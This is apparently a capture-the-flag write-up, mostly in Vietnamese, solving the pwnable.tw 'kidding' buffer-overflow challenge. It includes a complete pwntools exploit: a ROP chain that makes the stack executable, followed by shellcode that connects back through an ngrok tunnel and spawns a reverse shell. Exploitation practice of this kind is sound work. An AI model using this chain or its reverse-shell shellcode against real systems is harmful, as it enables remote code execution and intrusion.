Kidding
tl;dr: Tương tác out-of-band; Mở socket để tạo reverse shell.
Recon
Mitigation
$ pwn checksec kidding
[*] '/home/hungnt/pwnable.tw/kidding/kidding'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)$ file kidding
kidding: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=17d38985f3a41f2ffb821c3ac7dfd0547522cc18, not strippedCode
main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[8]; // [esp+0h] [ebp-8h] BYREF
read(0, buf, 100);
close(0);
close(1);
close(2);
return 0;
}Solve
Vì cả 3 fd 0,1,2 đều bị đóng trước khi ROP, nếu spawn shell thì shell ko có các fd để kế thừa nên sẽ ko tương tác đc, nên mình có các ý tưởng như sau:
- Mở lại fd bằng trỏ đến /dev/tty -> Chỉ tương tác đc ở local, trên remote ko đc. Vì các lý do mà mình cũng lười giải thích :v
- Mở socket, tạo reverse shell về mình -> Mình ko nghĩ ra cách nào nhét nổi full ROP chain vào 100 bytes.
- Biến stack thành executable, rồi shellcode để tạo socket rồi reverse shell -> Mình cũng ko nhét đc đủ.
- Không spawn shell, dùng out-of-band method để gửi flag ra ngoài, execve() wget hay curl với flag trong url đến webhook để mình đọc flag trong request. Nhưng mà setup argv như vậy rất cực, mà có khi cũng ko nhét vừa 100 bytes, mà có khi trên remote còn ko có wget hay curl.
Mình chịu cứng, mình phải đọc writeup thôi :v https://x3h1n.github.io/2019/04/14/pwnable-tw-kidding/.
Vậy ý tưởng chính là biến stack thành executable với mprotect rồi shellcode tạo socket rồi reverse shell, nhưng cách setup hô biến stack RWX ở đây mình thấy rất hay, nhưng mình nghĩ bài này khó mà làm đc nếu ko đọc writeup.
Hàm _dl_make_stack_executable() là một hàm setup các tham số và gọi đến mprotect() với điều kiện là ecx = dword ptr [eax] = giá trị của __libc_stack_end, và giá trị của __stack_prot = 7.

Ban đầu mình đọc hint đến đây, mình tự setup các tham số, nhưng vẫn ko nhét đủ 100 bytes.
Địa chỉ của _dl_make_stack_executable đc ghi vào _dl_make_stack_executable_hook:

_dl_make_stack_executable_hook đc gọi tại _dl_map_object_from_fd.constprop.7+3338. Và trước đó __stack_prot được set về 7, và eax được gán giá trị tại [ebp + 0x18].

Ok, mình muốn eax trỏ đến nơi có __libc_stack_end, ok nó ở đây, ví dụ như generic_start_main+66:

Vậy ý tưởng là mình sẽ ghi generic_start_main+66 - 0x18 vào saved rbp, sau đó nhảy đến _dl_map_object_from_fd.constprop.7+3328, các tham số sẽ đc setup hợp lệ.
Tuy nhiên vì ở đây là call dword ptr [_dl_make_stack_executable_hook], nên khi return sẽ nhảy về địa chỉ tiếp theo là _dl_map_object_from_fd.constprop.7+3344, ko phải ROP chain của mình. Để xử lý điều này, mình ghi _dl_make_stack_executable+1 vào _dl_make_stack_executable_hook bởi vì:
0x809a080 <_dl_make_stack_executable> push esi
0x809a081 <_dl_make_stack_executable+1> push ebx
...
...
0x809a0c4 <_dl_make_stack_executable+68> ││ pop ebx
0x809a0c5 <_dl_make_stack_executable+69> ││ pop esi
0x809a0c6 <_dl_make_stack_executable+70> ││ retThiếu đi 1 lần push, thì 2 lần pop trước khi ret sẽ bypass return address được đặt vào stack khi call, chương trình tiếp tục ret về ROP chain của mình.
Sau khi stack đã RWX, mình chỉ việc ghi shellcode ngay liền sau gadget jmp esp để thực thi shellcode.
Script
Ở đây mình sử dụng ngrok để port forwarding:
$ ngrok tcp 1337
ngrok (Ctrl+C to quit)
Session Status online
Account hungtuong05@gmail.com (Plan: Free)
Version 3.36.1
Region Asia Pacific (ap)
Web Interface http://127.0.0.1:4040
Forwarding tcp://0.tcp.ap.ngrok.io:11143 -> localhost:1337
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00#!/usr/bin/env python3
from pwn import *
import socket
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("kidding_patched", checksec=False)
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
b *0x0804888F
b *0x80bd13b
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10303
return remote(host, port)
p = conn()
if args.LOCAL:
ip = "127.0.0.1"
port = 1337
else:
ngrok_host = "0.tcp.ap.ngrok.io"
ip = socket.gethostbyname(ngrok_host)
port = 11143
# eax=0x66: sys_socketcall(ebx=0x1, ecx=[2,1,0]) -> socket(2,1,0)
# Lúc này eax = 0 nên mov al đc
shellcode = '''
mov al, 0x66
xor ebx, ebx
push ebx
inc ebx
push ebx
push 0x2
mov ecx, esp
int 0x80
'''
'''
0xff9df8f0 mov al, 0x66 AL => 0x66
0xff9df8f2 xor ebx, ebx EBX => 0
0xff9df8f4 push ebx
0xff9df8f5 inc ebx EBX => 1
0xff9df8f6 push ebx
0xff9df8f7 push 2
0xff9df8f9 mov ecx, esp ECX => 0xff9df8e4 ◂— 2
0xff9df8fb int 0x80 <SYS_socketcall>
'''
# eax=0x3f: dup2(ebx=0x0, ecx=0x1)
shellcode += '''
mov al, 0x3f
dec ebx
pop esi
pop ecx
int 0x80
'''
'''
► 0xff9df8fd mov al, 0x3f AL => 0x3f
0xff9df8ff dec ebx EBX => 0
0xff9df900 pop esi ESI => 2
0xff9df901 pop ecx ECX => 1
0xff9df902 int 0x80 <SYS_dup2>
'''
# eax=0x66: sys_socketcall(ebx=0x3, ecx=[0,&sockaddr_in,0x10]) -> connect(0,&sockaddr_in,0x10)
'''
struct sockaddr_in {
uint16_t sin_family; // 2 byte
uint16_t sin_port; // 2 byte
uint32_t sin_addr; // 4 byte
char sin_zero[8]; // 8 byte padding
};
'''
shellcode += f'''
mov al, 0x66
mov bl, 0x3
push {hex(u32(socket.inet_aton(ip)))}
push {hex(u32(p16(socket.AF_INET) + p16(port, endian='big')))}
mov ecx, esp
push 0x10
push ecx
push 0x0
mov ecx, esp
int 0x80
'''
'''
► 0xff9df904 mov al, 0x66 AL => 0x66
0xff9df906 mov bl, 3 BL => 3
0xff9df908 push 0x100007f
0xff9df90d push 0x39050002
0xff9df912 mov ecx, esp
0xff9df914 push 0x10
0xff9df916 push ecx
0xff9df917 push 0
0xff9df919 mov ecx, esp
0xff9df91b int 0x80 <SYS_socketcall>
'''
# eax=0xb: execve(ebx='/bin/sh', ecx=0, ebx=0)
shellcode += '''
mov al, 0xb
push 0x68732f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
'''
'''
► 0xff9df91d mov al, 0xb AL => 0xb
0xff9df91f push 0x68732f
0xff9df924 push 0x6e69622f
0xff9df929 mov ebx, esp
0xff9df92b xor ecx, ecx ECX => 0
0xff9df92d xor edx, edx EDX => 0
0xff9df92f int 0x80 <SYS_execve>
'''
pl = flat(
0,0,
# 0x8048902 (generic_start_main+66) —▸ 0x80e9fc8 (__libc_stack_end)
0x8048902 - 0x18, # saved rbp
# pop ecx ; ret
0x080583c9,
exe.symbols['_dl_make_stack_executable_hook'],
# inc dword ptr [ecx] ; ret
0x080842c8,
# <_dl_map_object_from_fd.constprop.7+3328>
0x80937f0,
# jmp esp
0x080bd13b,
) + asm(shellcode)
print("payload len =", len(pl))
listener = listen(1337)
s(p, pl)
ia(listener.wait_for_connection())